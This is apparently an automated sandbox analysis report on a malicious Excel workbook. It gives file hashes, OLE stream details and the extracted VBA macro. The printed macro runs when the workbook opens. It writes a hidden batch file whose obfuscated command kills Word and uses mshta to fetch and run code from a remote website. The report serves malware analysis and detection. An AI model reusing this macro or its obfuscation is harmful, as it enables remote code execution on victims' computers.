                                                                                      Encrypted:false
                                                                                      SSDEEP:3:yionv//thPlHstj5l7prtxBlly43g/3MkOl0tDlX4wkBDjW3PsFmCsyxxZ2UGclC:6v/lhPWtVl1QHMkdJ4nDi3UqfclKh3p
                                                                                      MD5:D6AE4F341752017AB0E603E3BB9260B7
                                                                                      SHA1:C84C11D3BC69C7E14B2F75E7DEA6E0AC93DEE1E2
                                                                                      SHA-256:8C2AD9254589A597B65DAE284A6DA49DBFE1E3C8E628B03B80883D980FB6435E
                                                                                      SHA-512:136F04B44FC3194FB2DDA6DDE51AB0B83CE15BCD129EAD332053114675423D9E21E02769969D7037BC282F59AE11E673B61E2B3977253C54D8C5270FA72228FA
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/plugins/gtranslate/switcher.png
                                                                                      Preview:.PNG........IHDR....................sBIT....|.d.....pHYs...........~.....tEXtCreation Time.01/09/10.......tEXtSoftware.Adobe Fireworks CS4......'IDAT(.c|....."..###1.B&.T...Q..QH.(..5/.?..Q-....IEND.B`.

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\warning[1]

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:GIF image data, version 89a, 36 x 38
                                                                                      Category:dropped
                                                                                      Size (bytes):1062
                                                                                      Entropy (8bit):4.517838839626174
                                                                                      Encrypted:false
                                                                                      SSDEEP:12:z4ENetWsdvCMtkEFk+t2cd3ikIbOViGZVsMLfE4DMWUcC/GFvyVEZd6vcmadxVtS:nA/ag/QSi6/LKZzqKVQgJOexQkYfG6E
                                                                                      MD5:124A9E7B6976F7570134B7034EE28D2B
                                                                                      SHA1:E889BFC2A2E57491016B05DB966FC6297A174F55
                                                                                      SHA-256:5F95EFF2BCAAEA82D0AE34A007DE3595C0D830AC4810EA4854E6526E261108E9
                                                                                      SHA-512:EA1B3CC56BD41FC534AAC00F186180345CB2C06705B57C88C8A6953E6CE8B9A2E3809DDB01DAAC66FA9C424D517D2D14FA45FBEF9D74FEF8A809B71550C7C145
                                                                                      Malicious:false
                                                                                      Preview:GIF89a$.&.......h...............h.hh..h..h..h..h....h................h.................h.................h................hh.h..h..h..h..h.hhhhh.hh.hh.hh.hh..hh.h..h..h.h..h..hh.h..h..h..h..h..hh.h..h..h..h..h..hh.h..h..h..h..h...h...............h.hh..h..h..h..h....h...............h................h...........h.................h...............h.hh..h..h..h..h....h................h.................h.................h.................h..............h.hh.h..h..h..h....h..............h................h................h................h...............h.hh..h..h..h..h....h................h.................h.................h......................................................................................................................................!.......,....$.&.@......H.......<0.....VXQH..C..1>.(..@..C.t.q"B..S.\.r.D...Z.. .M.41.".......<.r.;.r4..P..]....+.T-...N...x....1.:..TdD...^.j..W.r...y....V...Lx0..):8p q.4.;...f`.r-K...(..P....t.].~..l..

                                                                                      C:\Users\user\AppData\Local\Temp\~DF1207EF1653B4347C.TMP

                                                                                      Download File
                                                                                      Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                      File Type:data
                                                                                      Category:dropped
                                                                                      Size (bytes):28672
                                                                                      Entropy (8bit):3.1421108612298547
                                                                                      Encrypted:false
                                                                                      SSDEEP:768:QK1Tgbyw3sz2jyngov9rjXjBCKTUAuulFFfqM:QK1Tgbyw3sz2jyngov9rjXjBCKoAuulF
                                                                                      MD5:51DAC625BC7DF03F90C3ABCF22270D98
                                                                                      SHA1:71EC33F53B430FE4693C1281F46587281167F0FA
                                                                                      SHA-256:11A9DFA4DB9EDB39AF8849704F7127DC2CD71E9DEBB59D7F5963B0A1040AF137
                                                                                      SHA-512:9A378DB76FA2A6BC2D987806C4B079E6174E59E38E546717E0EF06EB925A8383EE621EBE164BB4AB3C379D8109D11613473F3A95F70C080173E48ABA8FE11D74
                                                                                      Malicious:false
                                                                                      Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                      C:\Users\user\AppData\Local\Temp\~DFBC67D25B9A501BC3.TMP

                                                                                      Download File
                                                                                      Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                      File Type:data
                                                                                      Category:dropped
                                                                                      Size (bytes):65536
                                                                                      Entropy (8bit):1.4847838769116777
                                                                                      Encrypted:false
                                                                                      SSDEEP:192:pmZFPDSA4sSe/rwbomG32UAKyOYv+zrOcUmUEORuaJ:pmVDSsZ/rBmG39yNvCacq
                                                                                      MD5:C923D3D689A2EA83ECA025ED97E8813F
                                                                                      SHA1:97E130FDF4ACF691B856D5FCED9DC302A4DF3513
                                                                                      SHA-256:47671C766B8B749A72F5C844FC68B59C36D3D0B321CE6774958CF0B0336B8C2A
                                                                                      SHA-512:3C7E7E58DACDE2184E31276DF5F1CE5EE589CFAEBCA2CA2F4462D90294B2D6FC0813236997D5BEF4E16DB558C9AA749FB68072A4CAD0B4F54ACAD000076993E4
                                                                                      Malicious:false
                                                                                      Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                      C:\Users\user\Desktop\SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls

                                                                                      Download File
                                                                                      Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                      File Type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Author: MARIANO PEREIRA, Last Saved By: Cavaleiro De Troia, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 19:19:34 2015, Last Saved Time/Date: Sun May 2 19:59:33 2021, Security: 0
                                                                                      Category:dropped
                                                                                      Size (bytes):39424
                                                                                      Entropy (8bit):4.613624904271148
                                                                                      Encrypted:false
                                                                                      SSDEEP:768:zNK1Tgbyw3sz2jyngov9rjXjBCKTUAuulFFfqMFQxmMC0klhiCfAdKmCx:zNK1Tgbyw3sz2jyngov9rjXjBCKoAuuz
                                                                                      MD5:5016FE19EE2452C563D59A1A319D64BE
                                                                                      SHA1:53907AAD4BE97F568645EA933442FF625C917073
                                                                                      SHA-256:2EEA53F08B249ED441420B7306799D1465DC24228DFE02C44980F7BC03B3E006
                                                                                      SHA-512:6016838F2FE49A6AC2092218A8BB28941FB386A88D6BAEE574A8BD834924FE0F95F3D033008885A884A04AEDD64911A379668224D5814B502EB12297A0A69879
                                                                                      Malicious:true
                                                                                      Preview:......................>...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................$...#........................................................................................................... ...!...".......6...2...&...'...(...)...*...+...,...-......./...0...1.......3...4...5...7...H...8...9...:...;...<...=...I...?...@...A...B...C...D...E...F...G...........J...K...............................................................................................................................................................................................

                                                                                      Static File Info

                                                                                      General

                                                                                      File type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Author: MARIANO PEREIRA, Last Saved By: Cavaleiro De Troia, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 19:19:34 2015, Last Saved Time/Date: Sun May 2 19:59:33 2021, Security: 0
                                                                                      Entropy (8bit):4.61203372306824
                                                                                      TrID:
                                                                                      • Microsoft Excel sheet (30009/1) 78.94%
                                                                                      • Generic OLE2 / Multistream Compound File (8008/1) 21.06%
                                                                                      File name:SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls
                                                                                      File size:39424
                                                                                      MD5:5081a754e710f34178dee80e5b1f15b4
                                                                                      SHA1:8ce6a3a89c9ede6a40eee5d0b0488bff2098ca01
                                                                                      SHA256:00f54cf5df13e3b9549f32fd39f986fc083559558d552cc0708e7a48e5f5bafe
                                                                                      SHA512:c9c060c6655b58166d37a686a8e740c3ba7f151ea7e876acff0f2483161e8e1ce73d58234e78d4b0fc645ec806bd4da2245c5641afa9acc465fb71b0d0e08c63
                                                                                      SSDEEP:768:SK1Tgbyw3sz2jyngov9rjXjBCKTUAuulFFfqMFQxmMC0klhiCfAdKmCx:SK1Tgbyw3sz2jyngov9rjXjBCKoAuulh
                                                                                      TLSH:72031C26BA95C8B6DA67133AACE791C5623BBC131E1E52477204F32D7EB11D7840722F
                                                                                      File Content Preview:........................>......................................................................................................................................................................................................................................

                                                                                      File Icon

                                                                                      Icon Hash:74ecd4c6c3c6c4d8

                                                                                      Static OLE Info

                                                                                      General

                                                                                      Document Type:OLE
                                                                                      Number of OLE Files:1

                                                                                      OLE File "SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls"

                                                                                      Indicators
                                                                                      Has Summary Info:
                                                                                      Application Name:Microsoft Excel
                                                                                      Encrypted Document:False
                                                                                      Contains Word Document Stream:False
                                                                                      Contains Workbook/Book Stream:False
                                                                                      Contains PowerPoint Document Stream:False
                                                                                      Contains Visio Document Stream:False
                                                                                      Contains ObjectPool Stream:False
                                                                                      Flash Objects Count:0
                                                                                      Contains VBA Macros:True
                                                                                      Summary
                                                                                      Code Page:1252
                                                                                      Author:MARIANO PEREIRA
                                                                                      Last Saved By:Cavaleiro De Troia
                                                                                      Create Time:2015-06-05 18:19:34
                                                                                      Last Saved Time:2021-05-02 18:59:33
                                                                                      Creating Application:Microsoft Excel
                                                                                      Security:0
                                                                                      Document Summary
                                                                                      Document Code Page:1252
                                                                                      Thumbnail Scaling Desired:False
                                                                                      Company:
                                                                                      Contains Dirty Links:False
                                                                                      Shared Document:False
                                                                                      Changed Hyperlinks:False
                                                                                      Application Version:1048576

                                                                                      Streams with VBA

                                                                                      VBA File Name: EstaPastaDeTrabalho.cls, Stream Size: 4626
                                                                                      General
                                                                                      Stream Path:_VBA_PROJECT_CUR/VBA/EstaPastaDeTrabalho
                                                                                      VBA File Name:EstaPastaDeTrabalho.cls
                                                                                      Stream Size:4626
                                                                                      Data ASCII:. . . . . . . . . . . . . . . 8 . . . < . . . J . . . > . . . . . . . . . . . . = s . . # . . . . . . . . . . . . . . . . . p . . . s . ~ T I J y \\ . . . . . . . . . . . . . . F . . . . . . . . . . . . . . . . . . . . P \\ = g B . . : p . . . . . . . . . . . . . . . . . . . . . . x . . . . P \\ = g B . . : p s . ~ T I J y \\ . . . . M E . . . . . . . . . . . . . . . . . . . . . 0 . P . . . . . S L . . . . S . . . . . S . . . . 6 " . . . . . . . . . . . . . . . . . < 8 . . . . . . < . . . . . . . . . . N . 0 .
                                                                                      Data Raw:01 16 03 00 06 00 01 00 00 ea 05 00 00 e4 00 00 00 38 02 00 00 3c 06 00 00 4a 06 00 00 3e 0e 00 00 00 00 00 00 01 00 00 00 7f 3d c0 73 00 00 ff ff 23 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff 70 00 ff ff 00 00 73 08 b9 7e 54 c1 49 4a 9c 94 fe 79 dc 5c af 9b 19 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                      VBA Code
                                                                                      Attribute VB_Name = "EstaPastaDeTrabalho"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
   Dim iStage As Integer
   Dim iCounter As Integer
   Dim iPage As Integer
   Dim sFile As String
   sFile = Environ("Public") & "\Outlook.bat"
      
   Close
     Open sFile For Output As #1
Print #1, "call getCmdPid.bat"
Print #1, "set PID=%errorlevel%"
Print #1, "call windowMode.bat -pid %PID% -mode hidden"
Print #1, "cd C:\Users\Public"
Print #1, "@echo off"
Print #1, "Set ao8=TSkEhx6qZpCHJMOGRvfbn4wQaPBANVXWz8jcIKrtlYymiod3L2sU7eF105gu9D"
Print #1, "cls"
Print #1, "%ao8:~35,1%%ao8:~43,1%%ao8:~46,1% /%ao8:~35,1% %ao8:~50,1%%ao8:~39,1%%ao8:~24,1%%ao8:~38,1%%ao8:~39,1% /%ao8:~43,1%%ao8:~44,1%%ao8:~20,1% %ao8:~39,1%%ao8:~24,1%%ao8:~50,1%%ao8:~2,1%%ao8:~2,1%%ao8:~44,1%%ao8:~40,1%%ao8:~40,1% /%ao8:~18,1% /%ao8:~44,1%%ao8:~43,1% %ao8:~31,1%%ao8:~36,1%%ao8:~28,1%%ao8:~31,1%%ao8:~14,1%%ao8:~16,1%%ao8:~61,1%.%ao8:~3,1%%ao8:~30,1%%ao8:~3,1% & %ao8:~43,1%%ao8:~50,1%%ao8:~4,1%%ao8:~39,1%%ao8:~24,1% %ao8:~4,1%%ao8:~39,1%%ao8:~39,1%%ao8:~9,1%://%ao8:~18,1%%ao8:~24,1%%ao8:~35,1%%ao8:~53,1%%ao8:~5,1%%ao8:~39,1%%ao8:~38,1%%ao8:~24,1%%ao8:~46,1%%ao8:~53,1%.%ao8:~35,1%%ao8:~45,1%%ao8:~43,1%.%ao8:~19,1%%ao8:~38,1%/%ao8:~22,1%%ao8:~9,1%-%ao8:~44,1%%ao8:~20,1%%ao8:~35,1%%ao8:~40,1%%ao8:~59,1%%ao8:~46,1%%ao8:~53,1%%ao8:~50,1%/%ao8:~35,1%%ao8:~53,1%%ao8:~38,1%%ao8:~39,1%%ao8:~44,1%%ao8:~18,1%%ao8:~44,1%%ao8:~35,1%%ao8:~24,1%%ao8:~39,1%%ao8:~53,1%%ao8:~50,1%/%ao8:~21,1%.%ao8:~39,1%%ao8:~5,1%%ao8:~39,1%"




   For iCounter = 2 To iStage
      Print #1, "    </ul>"
      iStage = iStage - 1
   Next iCounter:      Shell$    "cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit" & vbLf, 0
   
   
   
   

   Close


End Sub

                                                                                      VBA File Name: Planilha1.cls, Stream Size: 1002
                                                                                      General
                                                                                      Stream Path:_VBA_PROJECT_CUR/VBA/Planilha1
                                                                                      VBA File Name:Planilha1.cls
                                                                                      Stream Size:1002
                                                                                      Data ASCII:. . . . . . . . . . . . . . . . . . . . . 5 . . . . . . . . . . . . = I . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . -
                                                                                      Data Raw:01 16 03 00 01 f0 00 00 00 da 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff e1 02 00 00 35 03 00 00 00 00 00 00 01 00 00 00 7f 3d 49 ac 00 00 ff ff 23 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                      VBA Code
                                                                                      Attribute VB_Name = "Planilha1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                                                                                      Streams

                                                                                      Stream Path: \x1CompObj, File Type: data, Stream Size: 109
                                                                                      General
                                                                                      Stream Path:\x1CompObj
                                                                                      File Type:data
                                                                                      Stream Size:109
                                                                                      Entropy:4.257541421397259
                                                                                      Base64 Encoded:True
                                                                                      Data ASCII:. . . . . . . . . . . . . . . . . . . F ! . . . P l a n i l h a d o M i c r o s o f t E x c e l 2 0 0 3 . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . 9 q . . . . . . . . . . . .
                                                                                      Data Raw:01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 21 00 00 00 50 6c 61 6e 69 6c 68 61 20 64 6f 20 4d 69 63 72 6f 73 6f 66 74 20 45 78 63 65 6c 20 32 30 30 33 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                      Stream Path: \x1Ole, File Type: data, Stream Size: 20
                                                                                      General
                                                                                      Stream Path:\x1Ole
                                                                                      File Type:data
                                                                                      Stream Size:20
                                                                                      Entropy:0.8475846798245739
                                                                                      Base64 Encoded:False
                                                                                      Data ASCII:. . . . . . . . . . . . . . . . . . . .
                                                                                      Data Raw:01 00 00 02 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                                                      Stream Path: \x3ObjInfo, File Type: data, Stream Size: 6
                                                                                      General
                                                                                      Stream Path:\x3ObjInfo
                                                                                      File Type:data
                                                                                      Stream Size:6
                                                                                      Entropy:1.2516291673878228
                                                                                      Base64 Encoded:False
                                                                                      Data ASCII:. . . . . .
                                                                                      Data Raw:00 00 03 00 04 00
                                                                                      Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 240
                                                                                      General
                                                                                      Stream Path:\x5DocumentSummaryInformation
                                                                                      File Type:data
                                                                                      Stream Size:240
                                                                                      Entropy:2.6096962931292262
                                                                                      Base64 Encoded:False
                                                                                      Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . . . . . . . . . . . . P . . . . . . . X . . . . . . . d . . . . . . . l . . . . . . . t . . . . . . . | . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . P l a n 1 . . . . . . . . . . . . . . . . . P l a n i l h a s . . . . . . . . .
                                                                                      Data Raw:fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 c0 00 00 00 09 00 00 00 01 00 00 00 50 00 00 00 0f 00 00 00 58 00 00 00 17 00 00 00 64 00 00 00 0b 00 00 00 6c 00 00 00 10 00 00 00 74 00 00 00 13 00 00 00 7c 00 00 00 16 00 00 00 84 00 00 00 0d 00 00 00 8c 00 00 00 0c 00 00 00 9e 00 00 00
                                                                                      Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 228
                                                                                      General
                                                                                      Stream Path:\x5SummaryInformation
                                                                                      File Type:data
                                                                                      Stream Size:228
                                                                                      Entropy:3.9071239156716207
                                                                                      Base64 Encoded:False
                                                                                      Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . ` . . . . . . . | . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M A R I A N O P E R E I R A . . . . . . . . . C a v a l e i r o D e T r o i a . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . ? R , . @ . . . . I ? . . . . . . . . .
                                                                                      Data Raw:fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 b4 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 60 00 00 00 12 00 00 00 7c 00 00 00 0c 00 00 00 94 00 00 00 0d 00 00 00 a0 00 00 00 13 00 00 00 ac 00 00 00 02 00 00 00 e4 04 00 00 1e 00 00 00 10 00 00 00
                                                                                      Stream Path: RichEditFlags, File Type: data, Stream Size: 12
                                                                                      General
                                                                                      Stream Path:RichEditFlags
                                                                                      File Type:data
                                                                                      Stream Size:12
                                                                                      Entropy:0.6500224216483541
                                                                                      Base64 Encoded:False
                                                                                      Data ASCII:. . . . . . . . . . . .
                                                                                      Data Raw:01 00 00 00 00 00 00 00 01 00 00 00
                                                                                      Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 15248
                                                                                      General
                                                                                      Stream Path:Workbook
                                                                                      File Type:Applesoft BASIC program data, first line number 16
                                                                                      Stream Size:15248
                                                                                      Entropy:5.167290881180269
                                                                                      Base64 Encoded:True
                                                                                      Data ASCII:. . . . . . . . Z O . . . . . . . . . . . . . . . . . . . . \\ . p . . . . C a v a l e i r o D e T r o i a B . . . . a . . . . . . . . = . . . . . . . . . . . . . . E s t a P a s t a D e T r a b a l h o . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . . V e 1 : . . . . . . . X .
                                                                                      Data Raw:09 08 10 00 00 06 05 00 5a 4f cd 07 c9 00 02 00 06 08 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 12 00 00 43 61 76 61 6c 65 69 72 6f 20 44 65 20 54 72 6f 69 61 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
                                                                                      Stream Path: _VBA_PROJECT_CUR/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 513
                                                                                      General
                                                                                      Stream Path:_VBA_PROJECT_CUR/PROJECT
                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                      Stream Size:513
                                                                                      Entropy:5.142452298544354
                                                                                      Base64 Encoded:True
                                                                                      Data ASCII:I D = " { 0 0 0 0 0 0 0 0 - 0 0 0 0 - 0 0 0 0 - 0 0 0 0 - 0 0 0 0 0 0 0 0 0 0 0 0 } " . . D o c u m e n t = E s t a P a s t a D e T r a b a l h o / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = P l a n i l h a 1 / & H 0 0 0 0 0 0 0 0 . . H e l p F i l e = " " . . N a m e = " V B A P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " C 0 C 2 6 C 6 A 7 0 6 A 7 0 6 E 7 4 6 E 7 4 " . . D P B = " 9 3 9 1 3 F E E 0 F 0 B 0 F 0 B F 0 F 5
                                                                                      Data Raw:49 44 3d 22 7b 30 30 30 30 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 30 30 30 30 30 30 30 30 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 45 73 74 61 50 61 73 74 61 44 65 54 72 61 62 61 6c 68 6f 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 50 6c 61 6e 69 6c 68 61 31 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 48 65 6c 70 46 69 6c 65 3d 22 22
                                                                                      Stream Path: _VBA_PROJECT_CUR/PROJECTwm, File Type: data, Stream Size: 92
                                                                                      General
                                                                                      Stream Path:_VBA_PROJECT_CUR/PROJECTwm
                                                                                      File Type:data
                                                                                      Stream Size:92
                                                                                      Entropy:3.1873658260020488
                                                                                      Base64 Encoded:False
                                                                                      Data ASCII:E s t a P a s t a D e T r a b a l h o . E . s . t . a . P . a . s . t . a . D . e . T . r . a . b . a . l . h . o . . . P l a n i l h a 1 . P . l . a . n . i . l . h . a . 1 . . . . .
                                                                                      Data Raw:45 73 74 61 50 61 73 74 61 44 65 54 72 61 62 61 6c 68 6f 00 45 00 73 00 74 00 61 00 50 00 61 00 73 00 74 00 61 00 44 00 65 00 54 00 72 00 61 00 62 00 61 00 6c 00 68 00 6f 00 00 00 50 6c 61 6e 69 6c 68 61 31 00 50 00 6c 00 61 00 6e 00 69 00 6c 00 68 00 61 00 31 00 00 00 00 00
                                                                                      Stream Path: _VBA_PROJECT_CUR/VBA/_VBA_PROJECT, File Type: data, Stream Size: 2599
                                                                                      General
                                                                                      Stream Path:_VBA_PROJECT_CUR/VBA/_VBA_PROJECT
                                                                                      File Type:data
                                                                                      Stream Size:2599
                                                                                      Entropy:4.083845578704928
                                                                                      Base64 Encoded:False
                                                                                      Data ASCII:a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 2 . # . 9 . # . C . : . \\ . P . r . o . g . r . a . m . . F . i . l . e . s . \\ . C . o . m . m . o . n . . F . i . l . e . s . \\ . M . i . c . r . o . s . o . f . t . . S . h . a . r . e . d . \\ . V . B . A . \\ . V . B . A . 7 . . . 1 . \\ . V . B . E . 7 . . . D .
                                                                                      Data Raw:cc 61 b2 00 00 03 00 ff 16 04 00 00 09 04 00 00 e4 04 03 00 00 00 00 00 00 00 00 00 01 00 04 00 02 00 20 01 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 32 00 23 00
                                                                                      Stream Path: _VBA_PROJECT_CUR/VBA/__SRP_0, File Type: data, Stream Size: 6598
                                                                                      General
                                                                                      Stream Path:_VBA_PROJECT_CUR/VBA/__SRP_0
                                                                                      File Type:data
                                                                                      Stream Size:6598
                                                                                      Entropy:3.6025462992311663
                                                                                      Base64 Encoded:False
                                                                                      Data ASCII:K * . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . r U _ . . . . . . . @ . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ J . . . . . . . . . . . . . . . " . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Q . . . . . . . . . . . C 7 7 M D . H l { . . . . . . . . . . . . . . . . . . . .
                                                                                      Data Raw:93 4b 2a b2 03 00 10 00 00 00 ff ff 00 00 00 00 01 00 02 00 ff ff 00 00 00 00 01 00 00 00 00 00 00 00 00 00 01 00 02 00 00 00 00 00 00 00 01 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 00 00 72 55 5f 03 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 06 00 00 00 00 00 00 7e 0a 00 00 00 00 00 00 7e 02 00 00 00
                                                                                      Stream Path: _VBA_PROJECT_CUR/VBA/__SRP_1, File Type: data, Stream Size: 182
                                                                                      General
                                                                                      Stream Path:_VBA_PROJECT_CUR/VBA/__SRP_1
                                                                                      File Type:data
                                                                                      Stream Size:182
                                                                                      Entropy:1.6862905000266528
                                                                                      Base64 Encoded:False
                                                                                      Data ASCII:r U @ . . . . . . . @ . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . ~ z . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . q . . . . . . . . . . . . . . . . . . . . . . . b . . . . . . . . . . . . . . .
                                                                                      Data Raw:72 55 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 02 00 00 00 00 00 00 7e 7a 00 00 00 00 00 00 7f 00 00 00 00 00 00 00 00 12 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 11 00 00 00 00 00 00 00 00 00 03 00 ff ff ff ff ff ff ff ff 06 00 00 00 00 00
                                                                                      Stream Path: _VBA_PROJECT_CUR/VBA/__SRP_2, File Type: data, Stream Size: 1550
                                                                                      General
                                                                                      Stream Path:_VBA_PROJECT_CUR/VBA/__SRP_2
                                                                                      File Type:data
                                                                                      Stream Size:1550
                                                                                      Entropy:2.874874206462334
                                                                                      Base64 Encoded:False
                                                                                      Data ASCII:r U . . . . . . . . . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . . 8 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . P . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Q . . . . . . . . . . A . . . . . . . . . . . A . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . A . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 . . . . . . . . . . . . . . . . . . . . . . . q . . . . . . . . . . . a . . . . . . . . . . .
                                                                                      Data Raw:72 55 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 03 00 50 00 00 00 00 00 00 00 00 00 00 00 01 00 01 00 14 00 00 00 b1 09 00 00 00 00 00 00 00 00 00 00 51 20 00 00 00 00 00 00 00 00 00 00 41 09 00 00 00 00 00 00 00 00
